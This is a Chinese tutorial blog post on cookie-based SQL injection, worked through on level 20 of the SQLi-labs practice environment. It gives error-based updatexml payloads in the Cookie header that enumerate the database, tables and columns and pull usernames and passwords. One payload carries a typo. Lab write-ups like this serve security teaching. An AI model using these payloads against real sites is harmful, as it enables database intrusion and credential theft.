SQLlib-第20关之cookie注入

时间:2024-05-21 18:53:27

第一节 cookie注入原理

网站传递参数的方式

参数类型 含义
get型 一般访问网页的行为
cookie型 伴随着所有访问网页的行为
post型 上传文件,登陆

cookie注入原理:对get传递来的参数进行了过滤,但是忽略了cookie也可以传递参数
【cookie注入的原理在于更改本地的cookie,从而利用cookie来提交非法语句。】
形成有两个必须条件:

条件 含义
条件1 程序对get和post方式提交的数据进行了过滤,但未对cookie提交的数据库进行过滤
条件2 条件1的基础上还需要程序对提交数据获取方式是直接request(“xxx”)的方式,未指明使用request对象的具体方法进行获取,也就是说用request这个方法的时候获取的参数可以是是在URL后面的参数也可以是cookie里面的参数这里没有做筛选,之后的原理就像我们的sql注入一样了。

第二节cookie注入的判断

尝试常规的注入没有反应,通过抓包分析,存在cookie值–尝试cookie注入
SQLlib-第20关之cookie注入SQLlib-第20关之cookie注入SQLlib-第20关之cookie注入SQLlib-第20关之cookie注入SQLlib-第20关之cookie注入SQLlib-第20关之cookie注入

第三节代码审计

SQLlib-第20关之cookie注入SQLlib-第20关之cookie注入

第四节Cookie注入实例

以SQLlib-20关为例

第一步 判断注入类型

SQLlib-第20关之cookie注入SQLlib-第20关之cookie注入SQLlib-第20关之cookie注入

此时判断出为但应好闭合,因为只输入单引号--报错--报错信息未提示单引号错误---井号注释之后---页面和谐,未出现报错
[Cookie: uname=Dumb' and updatexml(1,concat(0x5e,dversion(),0x5e),1) #]
SQLlib-第20关之cookie注入

[Cookie: uname=Dumb' and updatexml(1,concat(0x5e,database(),0x5e),1) #]

SQLlib-第20关之cookie注入

第二步 .查选表名

[Cookie: uname=Dumb' and updatexml(1,concat(0x5e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x5e),1) #]
SQLlib-第20关之cookie注入

第三步查选字段名

[Cookie: uname=Dumb' and updatexml(1,concat(0x5e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x5e),1) #]
SQLlib-第20关之cookie注入
[Cookie: uname=Dumb' and updatexml(1,concat(0x5e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1),0x5e),1) #]
SQLlib-第20关之cookie注入
此时判断存在usename r和password字段

第四步 获取字段值

[Cookie: uname=Dumb' and updatexml(1,concat(0x5e,(select username from users limit 0,1),0x5e),1) #]
SQLlib-第20关之cookie注入

[Cookie: uname=Dumb' and updatexml(1,concat(0x5e,(select password from users limit 0,1),0x5e),1) #]
SQLlib-第20关之cookie注入

第五步登录数据库后台验证

SQLlib-第20关之cookie注入SQLlib-第20关之cookie注入

免责声明

本文档供学习,请使用者注意使用环境并遵守国家相关法律法规!
由于使用不当造成的后果上传者概不负责!